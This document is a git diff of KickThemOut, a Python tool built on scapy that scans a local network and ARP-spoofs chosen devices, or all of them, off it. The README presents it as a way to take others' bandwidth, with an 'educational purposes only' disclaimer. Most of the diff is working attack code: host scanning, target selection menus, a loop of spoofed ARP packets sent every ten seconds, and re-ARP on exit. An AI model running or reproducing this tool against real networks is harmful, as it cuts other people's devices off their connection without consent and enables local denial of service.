diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..92fd214 --- /dev/null +++ b/.gitignore @@ -0,0 +1,27 @@ +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +*.egg +*.manifest +*.spec +pip-log.txt +pip-delete-this-directory.txt +.scrapy +target/ +.python-version +venv/ +ENV/ +*.pyc +*.tmp +*.bak +*.cfg diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..a304c84 --- /dev/null +++ b/.travis.yml @@ -0,0 +1,6 @@ +language: python +python: + - "2.6" + - "2.7" +script: + - python -c "import kickthemout; import scan; import spoof" diff --git a/CHANGES.rst b/CHANGES.rst new file mode 100644 index 0000000..f4047ac --- /dev/null +++ b/CHANGES.rst @@ -0,0 +1,4 @@ +0.1 (05.01.2017) +---------------- + +- Initial release. diff --git a/LICENSE b/LICENSE index 5f383d0..0996b5d 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2016 Nikolaos Kamarinakis +Copyright (c) 2017 Nikolaos Kamarinakis Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.rst b/README.rst index 2635d1e..2a5dda4 100644 --- a/README.rst +++ b/README.rst @@ -1,4 +1,52 @@ KickThemOut -=========== +============ `KickThemOut `_ - **Kick Devices Off Your Network** + +A tool to kick devices out of your network and enjoy all the bandwidth for yourself. +It allows you to select specific or all devices and ARP spoofs them off your local area network. + +Compatible with Python 2.6 & 2.7. + +Authors: `Nikolaos Kamarinakis `_ & `David Schütz `_. + +.. image:: https://nikolaskama.me/content/images/2017/01/kickthemout.png + +Installation +------------- + +You can download KickThemOut by cloning the `Git Repo `_ and simply installing its requirements:: + + $ git clone https://github.com/k4m4/kickthemout.git + + $ cd kickthemout + + $ pip install -r requirements.txt + +Demo +----- + +Here's a short demo: + +.. image:: https://nikolaskama.me/content/images/2017/01/kickthemout_asciinema.png + :target: https://asciinema.org/a/98200?autoplay=1&loop=1 + +(For more demos click `here `_.) + +Disclaimer +----------- + +KickThemOut is provided as is under the MIT Licence (as stated below). +It is built for educational purposes only. If you choose to use it otherwise, the developers will not be held responsible. +In brief, do not use it with evil intent. + +License +-------- + +Copyright (c) 2017 by `Nikolaos Kamarinakis `_ & `David Schütz `_. Some rights reserved. + +KickThemOut is under the terms of the `MIT License `_, following all clarifications stated in the `license file `_. + + +For more information head over to the `official project page `_. +You can also go ahead and email me anytime at **nikolaskam{at}gmail{dot}com** or David at **xdavid{at}protonmail{dot}com**. diff --git a/kickthemout.py b/kickthemout.py index b666d33..260e840 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -9,16 +9,18 @@ See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) """ import time, os, sys, logging, math -import scan, spoof from time import sleep import urllib2 as urllib - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy! -from scapy.all import * - BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' - +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy! +try: + from scapy.all import * + import scan, spoof +except: + print("\n{0}ERROR: Requirements have not been properly satisfied. Please try running:\n\t{1}$ sudo pip install -r requirements.txt{2}").format(RED, GREEN, END) + print("\n{0}If you still get the same error, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues/\n{2}").format(RED, BLUE, END) + raise SystemExit def heading(): sys.stdout.write(GREEN + """ @@ -29,12 +31,10 @@ def heading(): █ ▐ ▀███▀ █ ▀ █ ▀███▀ █ █▄ ▄█ ▀ ▀ ▀ ▀ ▀ ▀▀▀ """ + END + BLUE + - '\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, - BLUE).center(88) + - '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format( - YELLOW, RED, YELLOW, BLUE).center(67) + - '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(77)) - + '\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) + + '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format( + YELLOW, RED, YELLOW, BLUE).center(111) + + '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86)) def optionBanner(): print('\nChoose option from menu:\n') @@ -47,22 +47,19 @@ def optionBanner(): sleep(0.2) print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) - -def scanNetwork(): - global hostsList - hostsList = scan.scanNetwork() - regenOnlineIPs() - def regenOnlineIPs(): global onlineIPs global defaultGatewayMac - onlineIPs = [] for host in hostsList: onlineIPs.append(host[0]) if host[0] == defaultGatewayIP: defaultGatewayMac = host[1] +def scanNetwork(): + global hostsList + hostsList = scan.scanNetwork() + regenOnlineIPs() def kickoneoff(): os.system("clear||cls") @@ -71,26 +68,25 @@ def kickoneoff(): scanNetwork() print("Online IPs: ") - for i in range(len(onlineIPs)): mac = "" for host in hostsList: if host[0] == onlineIPs[i]: mac = host[1] vendor = resolveMac(mac) - print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "\n{4}").format(YELLOW, WHITE, RED, GREEN, END) + print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END) canBreak = False while not canBreak: try: choice = int(raw_input("\nChoose a target: ")) + one_target_ip = onlineIPs[choice] canBreak = True except KeyboardInterrupt: return except: - print("{0}[!] Please enter a number!{1}").format(RED, END) + print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END) - one_target_ip = onlineIPs[choice] one_target_mac = "" for host in hostsList: if host[0] == one_target_ip: @@ -99,20 +95,21 @@ def kickoneoff(): print("\nIP address is not up. Please try again.") return - print("\n{0}Target mac => '{1}" + one_target_mac + "{2}'{3}\n").format(GREEN, RED, GREEN, END) - print("{0}Spoofing started... {1}\n").format(GREEN, END) + print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END) + + print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac) - time.sleep(15) + time.sleep(10) except KeyboardInterrupt: print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END) - rearp = 1 - while rearp != 10: + reArp = 1 + while reArp != 10: spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac) - rearp = rearp + 1 + reArp += 1 time.sleep(0.5) - print("\n{0}Re-arped{1} target.{2}").format(RED, GREEN, END) + print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END) def kicksomeoff(): @@ -122,30 +119,30 @@ def kicksomeoff(): scanNetwork() print("Online IPs: ") - for i in range(len(onlineIPs)): mac = "" for host in hostsList: if host[0] == onlineIPs[i]: mac = host[1] vendor = resolveMac(mac) - print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "\n{4}").format(YELLOW, WHITE, - RED, GREEN, END) + print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END) canBreak = False while not canBreak: try: - choice = raw_input("\nChoose the targets (separate by a ','): ") - canBreak = True + choice = raw_input("\nChoose devices to target(comma-separated): ") + if ',' in choice: + some_targets = choice.split(",") + canBreak = True + else: + print("\n{0}ERROR: Please select more than 1 devices from the list.{1}\n").format(RED, END) except KeyboardInterrupt: return - some_targets = choice.split(",") - some_ipList = "" for i in some_targets: try: - some_ipList = some_ipList + GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', " + some_ipList += GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', " except KeyboardInterrupt: return except: @@ -155,7 +152,7 @@ def kicksomeoff(): print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END) - print("\n{0}Spoofing started... {1}\n").format(GREEN, END) + print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: for i in some_targets: @@ -163,20 +160,19 @@ def kicksomeoff(): for host in hostsList: if host[0] == ip: spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) - time.sleep(15) + time.sleep(10) except KeyboardInterrupt: print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) - rearp = 1 - while rearp != 10: + reArp = 1 + while reArp != 10: for i in some_targets: ip = onlineIPs[int(i)] for host in hostsList: if host[0] == ip: spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) - rearp = rearp + 1 + reArp += 1 time.sleep(0.5) - print("\n{0}Re-arped{1} targets.{2}").format(RED, GREEN, END) - + print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) def kickalloff(): os.system("clear||cls") @@ -191,68 +187,63 @@ def kickalloff(): if host[0] == onlineIPs[i]: mac = host[1] vendor = resolveMac(mac) - print(str("{0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END)) + print(str(" {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END)) - print("\n{0}Spoofing started... {1}\n").format(GREEN, END) + print("\n{0}Spoofing started... {1}").format(GREEN, END) try: reScan = 0 while True: for host in hostsList: if host[0] != defaultGatewayIP: spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) - reScan = reScan + 1 + reScan += 1 if reScan == 4: reScan = 0 scanNetwork() - time.sleep(15) + time.sleep(10) except KeyboardInterrupt: print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) - rearp = 1 - while rearp != 10: + reArp = 1 + while reArp != 10: for host in hostsList: if host[0] != defaultGatewayIP: spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) - rearp = rearp + 1 + reArp += 1 time.sleep(0.5) - print("\n{0}Re-arped{1} targets.{2}").format(RED, GREEN, END) - + print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) def getDefaultInterface(): def long2net(arg): if (arg <= 0 or arg >= 0xFFFFFFFF): raise ValueError("illegal netmask value", hex(arg)) return 32 - int(round(math.log(0xFFFFFFFF - arg, 2))) - def to_CIDR_notation(bytes_network, bytes_netmask): network = scapy.utils.ltoa(bytes_network) netmask = long2net(bytes_netmask) net = "%s/%s" % (network, netmask) if netmask < 16: return None - return net - for network, netmask, _, interface, address in scapy.config.conf.route.routes: - - # skip loopback network and default gw if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0': continue - if netmask <= 0 or netmask == 0xFFFFFFFF: continue - net = to_CIDR_notation(network, netmask) - if interface != scapy.config.conf.iface: continue - if net: return interface - def getGatewayIP(): - getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) - return getGateway_p.src + try: + getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) + return getGateway_p.src + except: + print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{1}\n").format(RED, END) + header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END)) + gatewayIP = raw_input(header) + return gatewayIP def resolveMac(mac): try: @@ -264,7 +255,7 @@ def resolveMac(mac): vendor = vendor[:25] return vendor except: - return "RESOLVING_ERROR" + return "N/A" def main(): @@ -272,9 +263,8 @@ def main(): print( "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}" - + defaultGatewayIP + "{6}'. {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, - GREEN, RED, GREEN, RED, - GREEN, END) + + defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, + RED, GREEN, RED, GREEN, END) try: @@ -291,23 +281,19 @@ def main(): raise SystemExit elif choice == '1': kickoneoff() - # EXECUTE kickoneoff FUNCTION (SCAN & PARSE) elif choice == '2': kicksomeoff() - # EXECUTE kicksomeoff FUNCTION elif choice == '3': kickalloff() - # EXECUTE kickalloff FUNCTION (FF:FF:FF:FF:FF:FF) elif choice.upper() == 'CLEAR': os.system("clear||cls") - # else: - # print('*INVALID OPTION*') + else: + print("\n{0}ERROR: Please select a valid option.{1}\n").format(RED, END) except KeyboardInterrupt: print('\n\n{0}Thanks for dropping by.' '\nCatch ya later!{1}').format(GREEN, END) - if __name__ == '__main__': defaultInterface = getDefaultInterface() @@ -315,5 +301,4 @@ if __name__ == '__main__': defaultInterfaceMac = get_if_hwaddr(defaultInterface) scanNetwork() - main() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..93b351f --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +scapy \ No newline at end of file diff --git a/scan.py b/scan.py index 796d632..ef3f5c9 100644 --- a/scan.py +++ b/scan.py @@ -1,9 +1,11 @@ #!/usr/bin/env python # -.- coding: utf-8 -.- # scan.py -# author: Benedikt Waldvogel +# author: Benedikt Waldvogel (MIT Licensed) # edited by: k4m4 & xdavidhu +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) import scapy.config, scapy.layers.l2, scapy.route, socket, math, errno def scanNetwork(): @@ -13,7 +15,6 @@ def scanNetwork(): raise ValueError("illegal netmask value", hex(arg)) return 32 - int(round(math.log(0xFFFFFFFF - arg, 2))) - def to_CIDR_notation(bytes_network, bytes_netmask): network = scapy.utils.ltoa(bytes_network) netmask = long2net(bytes_netmask) @@ -23,7 +24,6 @@ def scanNetwork(): return net - def scan_and_print_neighbors(net, interface, timeout=1): hostsList = [] try: @@ -61,4 +61,4 @@ def scanNetwork(): continue if net: - return scan_and_print_neighbors(net, interface) + return scan_and_print_neighbors(net, interface) \ No newline at end of file diff --git a/spoof.py b/spoof.py index f5aafb3..95c491e 100644 --- a/spoof.py +++ b/spoof.py @@ -8,7 +8,8 @@ Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz ( See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) """ -import sys +import sys, logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import ( get_if_hwaddr, getmacbyip, @@ -17,7 +18,6 @@ from scapy.all import ( sendp ) - def sendPacket(my_mac, gateway_ip, target_ip, target_mac): ether = Ether() ether.src = my_mac @@ -40,4 +40,4 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac): packet = ether / arp sendp(x=packet, verbose=False) - broadcastPacket() + broadcastPacket() \ No newline at end of file